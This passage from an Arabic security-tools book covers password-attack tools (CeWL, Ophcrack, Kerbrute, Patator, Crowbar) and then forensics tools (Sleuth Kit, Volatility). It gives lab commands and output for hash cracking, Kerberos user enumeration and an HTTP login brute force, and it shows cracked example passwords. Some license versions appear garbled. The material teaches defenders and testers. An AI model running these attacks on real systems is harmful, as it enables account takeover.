```
Granted



  (yaser CyberBookio)-[~]
 $ cewl https://www.mailmodo.com -d 2 -m 8 --with-numbers -e --email_file mailmodo_em
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

  (yaser CyberBookio)-[~]
 $ cat mailmodo_emails.txt
alok@mailmodo.com
enquiries@mailmodo.com
enquiries@mailmodo.com?utm_content=nav&utm_term=/home-d/
support@mailmodo.com

  (yaser CyberBookio)-[~]
 $ head -n 10 mailmodo_wordlist.txt
Mailmodo
Marketing
Generator
Template
Automation
Newsletter
Deliverability
Campaign
Examples
Interactive

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/digininja/CeWL

٦.٧ Cain & Abel

نصل الآن للأداة الكلاسيكية والأسطورية Cain & Abel. بكل صراحة هذه الأداة تعتبر مدرسة تخرج منها جيل كامل من المهتمين بالأمن، وهي كانت مخصصة حصرياً لنظام Windows. قوتها كانت في أنها أداة شاملة تجمع عدة وظائف في مكان واحد، مثل استرجاع كلمات المرور المخزنة في النظام أو المتصفح، والتنصت على الشبكة (Sniffing) واستخراج البيانات.

الميزة الأبرز فيها والتي كانت متقدمة جداً على زمنها هي قدرتها على تنفيذ هجمات معقدة بضغطة زر، مثل هجمات الوسيط (Man-in-the-Middle) عبر تسميم ARP، وكسر الهاشات باستخدام تقنيات مثل جداول قوس قزح (Rainbow Tables)، وحتى التعامل مع VoIP. لكن يجب التنبيه أن تطوير Cain & Abel توقف رسمياً منذ عام 2014، ولم يعد البرنامج متوافقاً بشكل كامل مع إصدارات ويندوز الحديثة مثل ويندوز 10 و 11، كما أن كثيراً من وظائفه لم تعد تعمل بكفاءة. لذلك فهو اليوم يعتبر أداة تاريخية تعليمية مهمة لفهم آليات كسر كلمات المرور والهجمات الداخلية، أكثر من كونه خياراً عملياً للاستخدام الحالي.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Windows
التكلفة	مجاني
نوع الترخيص	مجاني مغلق المصدر

خصائص أداة Cain & Abel

تحميل: http://www.oxid.it

٧.٧ Ophcrack

أداة Ophcrack تعتمد على فكرة مختلفة تماماً عن التخمين التقليدي، وهي تقنية جداول قوس قزح (Rainbow Tables). في الأدوات العادية، الكمبيوتر يجرب ملايين الكلمات حتى يجد التطابق، وهذا يأخذ وقتاً طويلاً. لكن Ophcrack لا تخمن، بل تستخدم البحث المسبق بطريقة ذكية.

ببساطة، الأداة تمتلك جداول ضخمة محسوبة مسبقاً تحتوي على ملايين الهاشات ومقابلها كلمات المرور. يعني بمجرد رؤية هاش الويندوز، تبحث عنه في الجدول وتعطيك كلمة المرور فوراً خلال ثوانٍ أو دقائق بدلاً من ساعات. والشيء المميز والميزة التي جعلتها مشهورة جداً هي نسخة LiveCD. يعني لا يحتاج أن تكون تعرف كلمة المرور للدخول للنظام أصلاً، تضع الفلاش أو القرص، تعيد تشغيل الجهاز، والأداة تعمل وتستخرج كلمات المرور مباشرة. لهذا السبب هي الحل العملي لأي شخص نسي كلمة مرور جهازه ولا يريد إعادة التهيئة.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ إلى متوسط
أنظمة التشغيل	Linux, Windows, LiveCD
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Ophcrack

مثال عملي: كسر هاشات NTLM من ملف SAM باستخدام جداول Vista Free ومعالجة النتائج عبر أمر awk:

```
ophcrack -g -t /usr/share/ophcrack/tables/vista_free -f scraped.sam >
results_final.txt
awk '$4=="Found" && $5=="password" && $7=="for" && $8=="user" {printf
"USER: %-25s ---> PASS: %s\n", $9, $6}' results_final.txt | head
```

شرح المثال: هذا الأمر يستخدم الخيار g- لتعطيل الواجهة الرسومية والاعتماد على سطر الأوامر، بينما يحدد الخيار t- مسار جداول قوس قزح المستخدمة. الميزة الفعالة هنا تتمثل في توجيه النتائج إلى ملف نصي ثم استخدام أداة awk لتصفية المخرجات واستخراج أسماء المستخدمين وكلمات المرور المكسورة بشكل منظم ويسهل قراءته، مما يوفر عرضاً نظيفاً للبيانات المكتشفة.

المخرجات:

```
  (yaser CyberBookio)-[~/john-samples/Windows]
 $ ophcrack -g -t /usr/share/ophcrack/tables/vista_free -f scraped.sam > results_fina


  (yaser CyberBookio)-[~/john-samples/Windows]
```

```
$ awk '$4=="Found" && $5=="password" && $7=="for" && $8=="user" {printf "USER: %-25s
USER: Administrator             ---> PASS: 0ldbridg3
USER: KALIESJ03#                ---> PASS: 03111997
USER: MICHELB05#                ---> PASS: 05081998
USER: DROTZIGERK14              ---> PASS: 14012000
USER: DROTZIGERK14#             ---> PASS: 14012000
USER: BERTHOLDR11#              ---> PASS: 11111991
USER: PACHOLKEC19               ---> PASS: c7
USER: cs                        ---> PASS: cs
USER: GRIMMV14                  ---> PASS: du
```

تحميل: https://ophcrack.sourceforge.io/

٨.٧ Kerbrute

أداة Kerbrute تعتبر نقلة نوعية وذكية في فحص بيئات Active Directory. المشكلة في التخمين التقليدي أنه مزعج ويملأ سجلات النظام بالتنبيهات ويمكن أن يقفل الحسابات بسرعة، لكن Kerbrute تعمل بطريقة مختلفة تماماً؛ فهي تستغل ميزة في بروتوكول Kerberos نفسه.

ببساطة، الأداة ترسل طلب ما قبل المصادقة (Pre-Authentication)، وبناءً على رد الخادم تستطيع معرفة هل المستخدم موجود أم لا، وهل كلمة المرور صحيحة، وكل هذا يحدث بسرعة عالية ودون تسجيل محاولة دخول فاشلة تقليدية في السجلات الأمنية. هذا الشيء المميز يجعلها الأداة المفضلة لعمليات تعداد المستخدمين (User Enumeration) ورش كلمات المرور (Password Spraying) لأنها تعطيك نتائج دقيقة وبأقل ضجيج ممكن، وبما أنها مكتوبة بلغة Go فهي سريعة جداً وتعمل كملف تنفيذي واحد سهل النقل والتشغيل.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2 License

خصائص أداة Kerbrute

مثال عملي: تعداد المستخدمين في نطاق Active Directory باستخدام قائمة أسماء ضخمة للتحقق من الحسابات النشطة:

```
kerbrute userenum --dc 10.49.136.39 -d spookysec.local
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
-o valid_users.txt
```

شرح المثال: واقع الأمر أن هذا الأمر يستخدم وضع userenum لاكتشاف الحسابات الصالحة داخل النطاق المستهدف. اللمسة الفعالة هنا تتمثل في إرسال طلبات TGT بدون تشفير مسبق، مما يسمح للأداة بمعرفة ما إذا كان المستخدم موجوداً أم لا بناءً على رد خادم الـ KDC، مع حفظ النتائج المكتشفة في ملف نصي لمتابعة مراحل الهجوم اللاحقة.

المخرجات:

```
 (yaser CyberBookio)-[~]
$ kerbrute userenum --dc 10.49.136.39 -d spookysec.local /usr/share/wordlists/seclis

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 12/28/25 - Ronnie Flathers @ropnop

2025/12/28 07:43:29 >  Using KDC(s):
2025/12/28 07:43:29 >   10.49.136.39:88

2025/12/28 07:43:29 >  [+] VALID USERNAME:       james@spookysec.local
2025/12/28 07:43:30 >  [+] VALID USERNAME:       James@spookysec.local
2025/12/28 07:43:31 >  [+] VALID USERNAME:       robin@spookysec.local
2025/12/28 07:43:33 >  [+] VALID USERNAME:       darkstar@spookysec.local
2025/12/28 07:43:35 >  [+] VALID USERNAME:       administrator@spookysec.local
2025/12/28 07:43:39 >  [+] VALID USERNAME:       backup@spookysec.local
2025/12/28 07:43:41 >  [+] VALID USERNAME:       paradox@spookysec.local
```

```
2025/12/28 07:43:52 >  [+] VALID USERNAME:       JAMES@spookysec.local
2025/12/28 07:43:55 >  [+] VALID USERNAME:       Robin@spookysec.local
2025/12/28 07:44:18 >  [+] VALID USERNAME:       Administrator@spookysec.local
2025/12/28 07:45:03 >  [+] VALID USERNAME:       Darkstar@spookysec.local
2025/12/28 07:45:18 >  [+] VALID USERNAME:       Paradox@spookysec.local
2025/12/28 07:46:06 >  [+] VALID USERNAME:       DARKSTAR@spookysec.local
2025/12/28 07:46:20 >  [+] VALID USERNAME:       ori@spookysec.local
2025/12/28 07:46:50 >  [+] VALID USERNAME:       ROBIN@spookysec.local
2025/12/28 07:50:22 >  [+] VALID USERNAME:       DarkStar@spookysec.local
2025/12/28 07:51:59 >  [+] VALID USERNAME:       optional@spookysec.local
2025/12/28 07:55:55 >  [+] VALID USERNAME:       Backup@spookysec.local
2025/12/28 07:39:39 >  Done!

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/ropnop/kerbrute

٩.٧ Patator

هذه الأداة صُممت لفئة محددة من المحترفين وهم الذين لا يرضون بالخيارات الجاهزة في الأدوات السريعة مثل Hydra. فكرتها ببساطة أنها مكتوبة بلغة Python وتتميز بمرونة عالية تجعلها الأداة الأكثر قابلية للتخصيص في مجال هجمات التخمين.

الشيء المميز في Patator هو أنها لا تعتمد على السرعة فقط بل تعتمد على التخصيص الدقيق، فبدلاً من تشغيل هجوم تقليدي ثابت تتيح لك الأداة التحكم بكل تفصيلة صغيرة في بروتوكولات مثل SSH وFTP وHTTP وحتى قواعد البيانات. هذا التصميم المعياري (Modular Design) يجعلها الحل الأمثل عندما تفشل الأدوات التلقائية السريعة في تجاوز قيود الحماية المعقدة أو عندما تحتاج لتنفيذ هجوم ذكي ومخصص لا يثير الانتباه. باختصار، هي أداة الخبير الذي يعرف بالضبط ماذا يريد وكيف يصل إليه.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS, Windows (Python)
التكلفة	مجاني
نوع الترخيص	GPL-0.2 License

خصائص أداة Patator

مثال عملي: اختبار نموذج تسجيل دخول HTTP POST لبرنامج Fuel CMS باستخدام قائمة مستخدمين وقاموس كلمات مرور مع تصفية النتائج بناءً على حجم الاستجابة:

```
patator http_fuzz url=http://10.49.153.151/fuel/login method=POST
body='user=FILE0&password=FILE1&submit=Login'
0=clean_users.txt 1=/usr/share/wordlists/rockyou.txt
-x ignore:size=8350-8400
```

شرح المثال: واقع الأمر أن هذا التنفيذ يستبدل المتغير FILE0 بأسماء المستخدمين من ملف clean_users.txt، والمتغير FILE1 بكلمات المرور من قاموس rockyou.txt. اللمسة الفعالة هنا تتمثل في استخدام الخيار x-ignore:size=8350-8400 لتجاهل الردود التي تقع أحجامها ضمن هذا النطاق، مما يقلل من الضجيج ويظهر فقط المحاولات التي قد تكون ناجحة أو أدت لتغيير في سلوك الصفحة.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ patator http_fuzz url=http://10.49.153.151/fuel/login method=POST \
body='user=FILE0&password=FILE1&submit=Login' \
0=clean_users.txt 1=/usr/share/wordlists/rockyou.txt \
-x ignore:size=8350-8400
  mesg = 'Handshake returned: %s (%s)' % (re.search('SA=\((.+) LifeType', out).group(
09:03:51 patator    INFO - Starting Patator 1.0 (https://github.com/lanjelot/patator)
09:03:51 patator    INFO -
09:03:51 patator    INFO - code size:clen       time | candidate
09:03:51 patator    INFO - ----------------------------------------------------------
```

```
09:05:43 patator    INFO - 200  8403:7992       0.048 | admin:Lets you update your Fu
09:07:33 patator    INFO - 200  8409:7979       0.092 | admin:abcdefghijklmnopqrstuvw
^C09:09:57 patator    INFO - Hits/Done/Skip/Fail/Size: 2/55227/0/0/14344392, Avg: 150
09:09:57 patator    INFO - To resume execution, pass --resume 5507,5539,5537,5531,552

  (yaser CyberBookio)-[~]
```

تحميل: https://github.com/lanjelot/patator

١٠.٧ Crowbar

نصل الآن لأداة Crowbar هذه الأداة تعتبر الحل المكمل عندما تفشل الأدوات المشهورة مثل Hydra وMedusa. فكرتها ببساطة أنها جاءت لتسد فجوة كبيرة في عالم التخمين حيث تركز على البروتوكولات الحديثة والمعقدة التي تعجز عنها الأدوات التقليدية.

الشيء المميز في Crowbar هو أنها لا تكتفي بتجربة كلمات المرور فقط بل تتميز بقدرتها على اختبار مفاتيح SSH Private Keys للدخول وهذا سيناريو واقعي في المؤسسات الكبرى. والميزة الأهم تقنياً هي دعمها الكامل لبروتوكول RDP مع خاصية NLA (Network Level Authentication) وهي طبقة حماية في ويندوز تمنع أغلب أدوات الهجوم من العمل لكن Crowbar تتعامل معها بسلاسة. باختصار، هي الأداة المكملة التي يجب أن تكون في حقيبتك لتغطية الحالات الصعبة مثل VNC وOpenVPN.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, macOS
التكلفة	مجاني
نوع الترخيص	MIT License

خصائص أداة Crowbar

تحميل: https://github.com/galkan/crowbar

خاتمة القسم: كلمات المرور والمصادقة

إن الدرس الأهم الذي نتعلمه من أدوات هذا الفصل ليس أننا بحاجة إلى كلمات مرور أطول أو أكثر تعقيداً. بل الدرس الحقيقي، والذي غالباً ما يكون صعباً، هو أن نظام كلمات المرور بحد ذاته هو نظام فاشل بطبيعته. إنه يعتمد على أضعف حلقة في سلسلة الأمان وهي الذاكرة البشرية وقابليتها للخطأ وإعادة الاستخدام. الأدوات التي استعرضناها لا تكشف فقط عن كلمات المرور الضعيفة، بل تكشف عن ضعف الفكرة بأكملها.

حادثة Colonial Pipeline في مايو 2021 تقدم دراسة حالة قاسية حول التأثير الكارثي لنقطة فشل واحدة في المصادقة ضمن بيئة بنية تحتية حيوية. هذه الشركة، التي تدير ما يقارب 45% من إمدادات وقود الساحل الشرقي لأمريكا، تم شل عملياتها بالكامل ليس عبر استغلال يوم الصفر (Zero-day)، بل من خلال كلمة مرور واحدة تم العثور عليها في قائمة بيانات اعتماد مسروقة على الويب المظلم. استخدم المهاجمون كلمة المرور هذه للوصول إلى شبكة الشركة عبر حساب VPN قديم لم يكن محمياً بالمصادقة متعددة العوامل (MFA).

القيمة الحقيقية لأدوات مثل Hashcat و Hydra لا تكمن في قدرتها على كسر كلمات المرور فقط، بل في كونها الدليل المادي الذي نقدمه لصناع القرار لإثبات أن الاعتماد على كلمة مرور واحدة هو بمثابة بناء قلعة وترك الباب الأمامي مفتوحاً. مسؤوليتنا تتجاوز مجرد تدقيق كلمات المرور؛ إنها تكمن في الدفع بقوة نحو تبني مستقبل لا تكون فيه الذاكرة البشرية هي نقطة الفشل الوحيدة. مهمتنا هي أن نجعل المصادقة متعددة العوامل (MFA) وتقنيات مثل FIDO2 ليست مجرد توصية لتحسين الأمان، بل هي حجر الزاوية الأساسي الذي تُبنى عليه أي بنية أمنية حديثة.

في نهاية المطاف، ما تكشفه لنا أدوات هذا الفصل هو أن الهجوم قد ينجح أحياناً مهما كانت دفاعاتنا جيدة، وأن الفشل ليس في وقوع الحادثة، بل في عدم القدرة على فهمها والتعامل معها. عندما تُكسر كلمات المرور وتُستغل الهويات الرقمية وتُخترق الأنظمة، تبدأ مرحلة مختلفة تماماً من المعركة، مرحلة لا تعتمد على المنع بقدر ما تعتمد على الفهم والتحليل وإعادة السيطرة. هنا نترك عالم الوقاية وندخل إلى عالم التحقيق، حيث لا نبحث فقط عمّا حدث، بل كيف حدث ولماذا، وكيف نمنع تكراره. وهنا يبدأ دور التحليل الجنائي الرقمي والاستجابة للحوادث.

٨ التحليل الجنائي والاستجابة للحوادث

مهما كانت الدفاعات قوية، يجب أن نستعد دائماً لليوم الذي يتم فيه اختراقها. عندما يحدث ذلك، ندخل عالم التحليل الجنائي الرقمي والاستجابة للحوادث (Digital Forensics and Incident Response - DFIR). هذا المجال لا يتعلق بالمنع، بل بالكشف والتحقيق والتعافي. إنه يشبه عمل المحقق في مسرح جريمة، لكن الأدلة هنا ليست بصمات أصابع، بل هي بقايا أثرية رقمية (Digital Artifacts)، بيانات متغيرة (Volatile Data) وثابتة (Non-volatile Data) متبقية في الذاكرة الحية (Live Memory)، وبيانات نظام الملفات الوصفية (Filesystem Metadata)، وسجلات النظام (System Logs)، وحتى في المساحات غير المخصصة (Unallocated Space) على القرص الصلب. مهمة المحلل هي تجميع هذه البقايا المتناثرة وإعادة بناء التسلسل الزمني للهجوم بدقة.

يقدم هجوم NotPetya الذي وقع في 27 يونيو 2017 دراسة حالة جوهرية في أهمية التحليل الجنائي العميق. في البداية، تم تصنيف الهجوم بشكل خاطئ على أنه مجرد موجة أخرى من برمجيات الفدية، حيث أظهرت الأنظمة المصابة شاشة تطلب فدية. لكن التحليل الجنائي الدقيق للذاكرة وسلوك البرمجية كشف عن نيته الحقيقية، لم تكن البرمجية تقوم بتشفير الملفات لاستعادتها لاحقاً، بل كانت تقوم بالكتابة فوق قطاع الإقلاع الرئيسي (MBR) وتدميره بشكل لا رجعة فيه. لم يكن الهدف هو الابتزاز المالي، بل كان إحداث ضرر بنيوي وشل الأنظمة بشكل كامل.

انتشر NotPetya كالنار في الهشيم، مستغلاً ثغرة EternalBlue (نفس الثغرة التي استخدمها WannaCry) وأدوات مدمجة لسرقة بيانات الاعتماد. النتيجة كانت كارثة اقتصادية عالمية. شركة الشحن العملاقة Maersk، التي تدير ما يقارب 20% من سعة الشحن العالمية، أصيبت بالشلل التام. اضطرت الشركة إلى إعادة تثبيت 4,000 خادم و 45,000 جهاز كمبيوتر في غضون عشرة أيام فقط. قدرت الخسائر الإجمالية لهذا الهجوم على الاقتصاد العالمي بأكثر من 10 مليارات دولار. كل هذا بسبب برمجية خبيثة تم فهم طبيعتها الحقيقية فقط من خلال التحليل الجنائي الدقيق.

هل تعلم أن البيانات في ذاكرة الوصول العشوائي (RAM) لا تختفي فوراً بعد إيقاف تشغيل الجهاز. يمكن للبيانات أن تبقى قابلة للاسترداد لعدة ثوانٍ أو حتى دقائق (خاصة إذا تم تبريد رقائق الذاكرة)، وهي ظاهرة تُعرف باسم بقاء البيانات (Data Remanence). هذا هو السبب في أن التقاط صورة للذاكرة الحية (Live Memory Acquisition) هو أحد أهم الإجراءات في الاستجابة للحوادث، لأنه قد يكشف عن مفاتيح التشفير أو أجزاء من البرامج الضارة التي لا توجد على القرص الصلب.

قصة NotPetya وهذه الحقيقة التقنية تبرزان الدور الحاسم للأدوات في هذا الفصل. أداة مثل Volatility Framework هي التي سمحت للمحللين بالنظر داخل ذاكرة الأجهزة المصابة واكتشاف أن NotPetya كان دودة مدمرة وليس مجرد فدية. وأدوات مثل The Sleuth Kit / Autopsy و Plaso هي التي تمكننا من إعادة بناء الجدول الزمني للهجوم، وتتبع خطواته من نقطة الدخول الأولية إلى انتشاره الجانبي عبر الشبكة. هذه الأدوات لا تجيب فقط على الأسئلة، بل تكشف عن نية المهاجم الحقيقية، وهي أعلى درجات التحقيق.

١.٨ The Sleuth Kit (TSK) / Autopsy

نستعرض الآن للعملاق الحقيقي والأساس في عالم التحقيق الجنائي الرقمي وهما The Sleuth Kit وواجهتها الرسومية Autopsy. هذا الثنائي يعتبر المعيار الذهبي للأدوات مفتوحة المصدر في هذا المجال ويُستخدم فعلياً من قبل أجهزة الشرطة والجهات القانونية ومكاتب التحقيقات الفيدرالية وشركات الأمن السيبراني حول العالم منذ أكثر من عقدين من الزمن.

تاريخياً، بدأ Brian Carrier تطوير The Sleuth Kit في أوائل الألفية كأدوات سطر أوامر قوية لتحليل أنظمة الملفات والأقراص الصلبة على مستوى منخفض (Low-Level Analysis). وبعدها بسنوات، ظهرت Autopsy كواجهة رسومية متطورة تستخدم محرك TSK في الخلفية، مما جعل هذه القدرات الهائلة متاحة حتى للمحققين الذين لا يفضلون العمل عبر سطر الأوامر. اليوم، أصبح هذا المشروع من أكثر الحلول استخداماً في التحقيقات الجنائية الرقمية على مستوى العالم، وتم تحميله ملايين المرات وتدريسه في الجامعات والمعاهد الأمنية كمادة أساسية.

الفكرة الجوهرية أن TSK هو المحرك الجنائي القوي الذي يعمل خلف الكواليس، يقرأ القطاعات (Sectors) والكتل (Blocks) مباشرة من القرص الصلب، ويفهم بنية أنظمة الملفات المختلفة بعمق، ويستخرج البيانات حتى من المساحات غير المخصصة (Unallocated Space) والملفات المجزأة. بينما Autopsy هي غرفة التحكم التي تجعل هذه العملية المعقدة تقنياً قابلة للاستخدام بشكل مرئي وتفاعلي، مع إمكانية إدارة قضايا متعددة، وتوثيق كل خطوة، وتوليد تقارير شاملة.

الشيء المميز في هذه المنصة ليس فقط استرجاع الملفات المحذوفة، بل قدرتها الفريدة على إعادة بناء السيناريو الكامل للحادثة من خلال الربط الذكي بين الأدلة المتناثرة. من أبرز مميزاتها:

- **تحليل الجدول الزمني (Timeline Analysis):** يتيح للمحقق رؤية تسلسل الأحداث بدقة الثانية الواحدة، فيعرف متى تم إنشاء الملف ومتى تم فتحه ومتى تم حذفه وكيف تحرك المستخدم داخل النظام.
- **وحدات المعالجة الذكية (Ingest Modules):** تقوم تلقائياً بتحليل الصور والبحث عن الكلمات المفتاحية واستخراج سجلات المتصفح والبريد الإلكتروني.
- **دعم أنظمة الملفات المتعددة:** يدعم NTFS, FAT, ExFAT, Ext2/3/4, HFS+, APFS وغيرها.
- **استرجاع الملفات المحذوفة:** حتى بعد الفورمات أو التلف الجزئي للقرص.
- **التقارير الاحترافية:** ينظم النتائج في تقرير احترافي جاهز لتقديمه للمحكمة.
- **تحليل الذاكرة (Memory Analysis):** عبر التكامل مع أدوات أخرى لفحص RAM Dumps.

باختصار، هذا الثنائي يمثل المختبر الجنائي المتكامل داخل جهازك. سواء كنت محققاً رقمياً في جهة حكومية، أو محامياً تحتاج لجمع الأدلة الإلكترونية، أو متخصصاً في الاستجابة للحوادث الأمنية، فإن TSK/Autopsy يوفر لك كل ما تحتاجه لتحليل الأدلة بشكل عملي ودقيق. المنصة لا تكتفي بإظهار البيانات الموجودة، بل تكشف أيضاً عن البيانات المخفية والمحذوفة وحتى المشفرة، وتربط بينها لتعطيك صورة واضحة عما حدث. وبفضل قبولها في المحاكم وتوثيقها الشامل وسلسلة الحفاظ على الأدلة (Chain of Custody) التي توفرها، أصبحت الخيار الأول للمحققين الذين يحتاجون لنتائج موثوقة وقابلة للدفاع عنها قانونياً.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	CPL/IPL/Apache 0.2 License

خصائص أداة The Sleuth Kit (TSK) / Autopsy

مثال عملي: تحليل نظام ملفات (NTFS) واستعادة البيانات المحذوفة يدوياً:

```
1. fls -r -f ntfs 7-ntfs-undel.dd
2. icat -f ntfs 7-ntfs-undel.dd 31 > recovered_secret.dat
```

شرح المثال: في هذا السيناريو الجنائي، نتعامل مع صورة قرص خام.

- **الاستكشاف :(fls)** الأمر الأول يعرض هيكل الملفات. الرموز هنا لها دلالات هامة:
  - r/r: ملف عادي موجود.
  - r/- *: ملف محذوف (-) ولكن بياناته الوصفية (Inode) ما زالت موجودة (*).
  - $MFT, $LogFile: ملفات نظام NTFS المخفية التي تحتوي على سجلات النظام.
- **الاستعادة :(icat)** لاحظنا الملف المحذوف sing1.dat ورقمه المعرف (Inode) هو 31. الأمر الثاني icat استخدم هذا الرقم لقراءة البيانات الخام من القطاعات المحذوفة وحفظها في ملف جديد recovered_secret.dat، مما يثبت أن الحذف لا يعني زوال البيانات نهائياً.

المخرجات:

```
yaser@CyberBookio:~/Desktop/7-undel-ntfs$ fls -r -f ntfs 7-ntfs-undel.dd
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
r/r 8-128-1:    $BadClus:$Bad
r/r 6-128-1:    $Bitmap
r/r 7-128-1:    $Boot
d/d 11-144-4:   $Extend
```

```
+ r/r 25-144-2: $ObjId:$O
+ r/r 24-144-3: $Quota:$O
+ r/r 24-144-2: $Quota:$Q
+ r/r 26-144-2: $Reparse:$R
r/r 2-128-1:    $LogFile
r/r 0-128-1:    $MFT
r/r 1-128-1:    $MFTMirr
r/r 9-128-8:    $Secure:$SDS
r/r 9-144-11:   $Secure:$SDH
r/r 9-144-5:    $Secure:$SII
r/r 10-128-1:   $UpCase
r/r 3-128-3:    $Volume
d/d 27-144-1:   System Volume Information
+ r/r 28-128-4: tracking.log
-/r * 29-128-3: frag1.dat
-/r * 30-128-3: frag2.dat
-/r * 31-128-3: sing1.dat
-/r * 32-128-3: mult1.dat
-/r * 32-128-6: mult1.dat:ADS
-/d * 33-144-1: dir1
+ -/d * 34-144-1:       dir2
++ -/r * 35-128-3:      frag3.dat
+ -/r * 36-128-3:       mult2.dat
-/r * 37-128-1: res1.dat
V/V 39: $OrphanFiles
+ -/r * 38-128-3:       sing2.dat

yaser@CyberBookio:~/Desktop/7-undel-ntfs$ icat -f ntfs 7-ntfs-undel.dd 31 > recovered
```

تحميل: https://www.sleuthkit.org

٢.٨ Volatility Framework

الأداة التي تعتبر المعيار الذهبي في عالم تحليل الذاكرة العشوائية، وهي Volatility Framework. هذه الأداة غيرت مفهوم التحقيق الجنائي الرقمي، فبدلاً من البحث التقليدي في القرص الصلب عن ملفات قد تكون حذفت، تقوم هذه الأداة بتحليل ما يحدث في الذاكرة RAM لحظة التقاط الصورة.

الشيء المميز فيها هو قدرتها على استخراج معلومات لا يمكن إيجادها بأي مكان آخر. يمكنك رؤية العمليات التي كانت تعمل لحظة الالتقاط، والاتصالات الشبكية المفتوحة، وحتى كلمات المرور والنصوص غير المشفرة، والأهم من ذلك كشف البرمجيات الخبيثة المتطورة التي تعمل في الذاكرة فقط (Fileless Malware) ولا تلمس القرص الصلب إطلاقاً. وتتميز نسختها الحديثة Volatility 3 المكتوبة بلغة Python بالسرعة والدعم الكبير لأنظمة ويندوز ولينكس وماك، مما يجعلها الأداة الأساسية لمحللي البرمجيات الخبيثة وفرق الاستجابة للحوادث لكشف الأسرار التي تختفي عادة بمجرد فصل الكهرباء عن الجهاز.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط إلى متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Volatility Software License

خصائص أداة Volatility Framework

مثال عملي: تحليل ذاكرة وكشف حقن الأكواد (Code Injection) باستخدام Volatility 3:

```
1. python3 vol.py -f 0zapftis.vmem windows.pslist
2. python3 vol.py -f 0zapftis.vmem windows.dlllist --pid 632
3. python3 vol.py -f 0zapftis.vmem windows.malfind --pid 632
```

شرح المثال: في هذا التحليل الجنائي، قمنا بتتبع نشاط خبيث داخل عملية النظام الحساسة winlogon.exe.

- **الخطوة 1 :(pslist)** عرضنا قائمة العمليات وحددنا winlogon.exe PID) 632) كهدف للتحليل.
- **الخطوة 2 :(dlllist)** فحصنا المكتبات المحملة للبحث عن أي ملفات DLL مشبوهة.
- **الخطوة 3 :(malfind)** هذه هي الخطوة الحاسمة. أداة malfind كشفت عن مناطق في الذاكرة تملك صلاحيات PAGE_EXECUTE_READWRITE (أي قابلة للكتابة والتنفيذ معاً، وهو وضع نادر وشديد الخطورة). وجود

تعليمات التجميع add byte ptr [eax], al في بداية هذه المناطق هو مؤشر قوي على وجود حشو (Padding) يسبق كود الحقن الخبيث (Shellcode).

المخرجات:

```
yaser@CyberBookio:~/volatility3$ python3 vol.py -f 0zapftis.vmem windows.pslist
Volatility 3 Framework 2.27.0
WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM f
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64

4       0       System  0x819cc830      55      162     N/A     False   N/A     N/A
536     4       smss.exe        0x81945020      3       21      N/A     False   2011-
608     536     csrss.exe       0x816c6020      11      355     0       False   2011-
632     536     winlogon.exe    0x813a9020      24      533     0       False   2011-
676     632     services.exe    0x816da020      16      261     0       False   2011-
...
544     1956    cmd.exe 0x817a34b0      1       30      0       False   2011-10-10 17

yaser@CyberBookio:~/volatility3$ python3 vol.py -f 0zapftis.vmem windows.dlllist --pi
WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM f
632gresswinlogon.exe    0x10000000B scan0x59000nmfc42ul.dll     C:\WINDOWS\system32\m

yaser@CyberBookio:~/volatility3$ python3 vol.py -f 0zapftis.vmem windows.malfind --pi
Volatility 3 Framework 2.27.0
WARNING  volatility3.framework.layers.vmware: No metadata file found alongside VMEM f

PID     Process Start VPN       End VPN Tag     Protection       CommitCharge    Priv

632     winlogon.exe    0x580000        0x59ffff        Vad     PAGE_EXECUTE_READ
c1 00 00 00 00 01 00 00 ff ee ff ee 09 00 00 00 ................
09 00 00 00 00 fe 00 00 00 00 10 00 00 20 00 00 ............. ..
00 02 00 00 00 20 00 00 3f 08 00 00 ff ef fd 7f ..... ..?.......
00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 ................
```

```
0x580000:       rol     dword ptr [eax], 0
0x580003:       add     byte ptr [eax], al
0x580005:       add     dword ptr [eax], eax
0x580007:       add     bh, bh
0x580009:       out     dx, al

632     winlogon.exe    0x64f0000       0x64f3fff       VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 29 00 29 00 01 00 00 00 00 00 00 00 ....).).........
0x64f0000:      add     byte ptr [eax], al
0x64f0002:      add     byte ptr [eax], al
...
0x64f003c:      add     byte ptr [eax], al
0x64f003e:      add     byte ptr [eax], al

632     winlogon.exe    0x4e5d0000      0x4e5d3fff      VadS    PAGE_EXECUTE_READWRIT
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
0x4e5d0000:     add     byte ptr [eax], al
0x4e5d0002:     add     byte ptr [eax], al
...
0x4e5d003b:     add     byte ptr [eax], al
